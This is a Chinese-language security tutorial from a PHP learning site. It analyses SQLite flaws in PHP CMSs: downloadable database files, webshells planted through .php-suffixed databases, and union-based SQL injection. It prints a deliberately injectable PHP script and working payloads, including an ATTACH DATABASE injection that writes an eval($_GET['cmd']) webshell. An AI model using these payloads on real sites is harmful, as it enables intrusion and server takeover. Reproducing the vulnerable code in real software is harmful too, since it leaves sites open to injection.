网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

PHP/Sqlite下常见漏洞浅析 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 0x00 前 12180;SQLite作为 12032;一款轻型数据库,PHP开发人员 12032;定不会陌 12131;生,PHP5后,其已默认集成这个轻巧的内嵌式数据库产品 对于采 12132;用PHP Sqlite的CMS,也存在 12032;些常见的安全威胁...

 0x00 前⾔

SQLite作为⼀一款轻型数据库,PHP开发人员⼀定不会陌⽣生,PHP5后,其已默认集成这个轻巧的内嵌式数据库产品.对于采⽤用PHP/Sqlite的CMS,也存在⼀些常见的安全威胁.笔者以下数例加以分析,欢迎指出不足与错误之处.

0x01 数据库下载

作为⼀个单⽂文件的轻型数据库,存在与类似Access的问题,即数据库下载.在测试的几个CMS中,便存在固定/默认数据库名/地址的问题,可下载造成安全威胁.而某些CMS即使设置有数据库随机⽂件名,但仍存在安全威胁,如XiaoCMS

sqlite-01

看似防下载的#%使⽤用URL编码即可绕过,⽽由于短⽂文件名漏洞的存在,随机⽂件名也不再安全,只需猜解0-9a-f的4位组合即可下载数据:

sqlite-02

借鉴于Access的数据库防护手法,部分CMS将数据库后缀修改为php,并创建表”create table ‘<?php’ (a); “,以期防下载,但也引入了新的安全威胁.

0x02 数据库GetShell

首先是Akcms,其Sqlite版本数据库后缀为php,但连'<?php’表也没有添加,只要得到(猜解)六位数据库文件名即可GetShell.以下为插⼊入phpinfo();示例:

sqlite-03

而稻草⼈人CMS虽加⼊入了'<?php’表,但在PHP并未抛出错误,仍可下载数据库内容.

 

sqlite-04

 

稻草⼈人在前台使⽤用strip_tags()函数过滤了输⼊变量,避免了直接GetShell.但通过数据库下载破解管理密码,后台亦可任意编辑⽂件,造成相应的安全威胁.

0x03 注⼊入语法

为⽅方便测试,写有如下PHP脚本

sqlite-05

连接数据库⽂文件sqlite.db内容如下:

sqlite-06

可以看到id输入未经任何过滤,可被我们利⽤用,一个Demo如下:

sqlite-07

正常id输入1-3均可返回对应的name,⽽而通过注入语句:

4 union select user,pass,id from user where id=1;

可通过union查询到id为1的pass值.与MySQL5.x类似的,Sqlite存在与information_schema类似的⼀一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐较有价值的是sql字段.首先测试有回显处为2

sqlite-08

 

查询sql字段内容

 

sqlite-09

如上可以得到表结构.此外,常⻅见的一些语法也与Mysql类似如:

注释符: —

连接符: ||

Substring: substr(a,b,c)

长度: length(x)

0x04 注⼊入GetShell

Sqlite中通过Attach语句可以附加数据库(若不存在则创建⽂文件),通过此语句可借助Sqlite注入GetShell,但上面的数据库查询语句:

$db->query($sql);

是⽆无法Attach创建文件的 以下GetShell环境,测试创建Sqlite3数据库

sqlite-10

修改语句如下:

< ? php

if ( isset ( $ _GET [ 'id' ] ) ) {

$ id = $ _GET [ 'id' ] ;

} else {

echo "id!" ;

exit ;

}

$ db = new PDO ( 'sqlite:sqlite3.db' ) ;

$ sql = "select * from user where id=$id" ;

echo "<h4>Sql: " . $ sql . "</h4>" ;

var_dump ( @ $ db -> exec ( $ sql ) ) ;

 

此时即可借助注入语句插入WebShell

测试语句1:

4 ; ATTACH DATABASE 'C:\\wamp\\www\\le4f.php' AS pwn ; CREATE T

ABLE pwn . exp ( dataz text ) ; INSERT INTO pwn . exp ( dataz ) VALUES (

' <?php phpinfo ( ) ; ?> ' ) ; --

sqlite-11

得到phpinfo

sqlite-12

写⼊一个WebShell:

 

4 ; ATTACH DATABASE 'C:\\wamp\\www\\shell.php' AS pwn ; CREATE

TABLE pwn . exp ( dataz text ) ; INSERT INTO pwn . exp ( dataz ) VALUES

( ' <? eval ( $_GET [ 'cmd' ] ) ; ?> ' ) ; --

 

sqlite-13

sqlite-14

PHP调用Sqlite还有多种方式,猜想execute和exec⽅式均有可能GetShell.对于Sqlite2数据库,如下代码:

$ db = new PDO ( 'sqlite2:sqlite.db' ) ;

$ db -> exec ( $ sql ) ;

可以注⼊语句Attach创建空⽂件,但未能插入数据.各位看官如有研究还望指点⼀二.

0x05 小结

与Access数据库类似,Sqlite轻巧方便的同时,也存在很多可利⽤的威胁,对开发者来讲也是要注意的问题.以上仅为笔者所观的冰⼭⼀角,更多问题由看官去研究发现.

 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论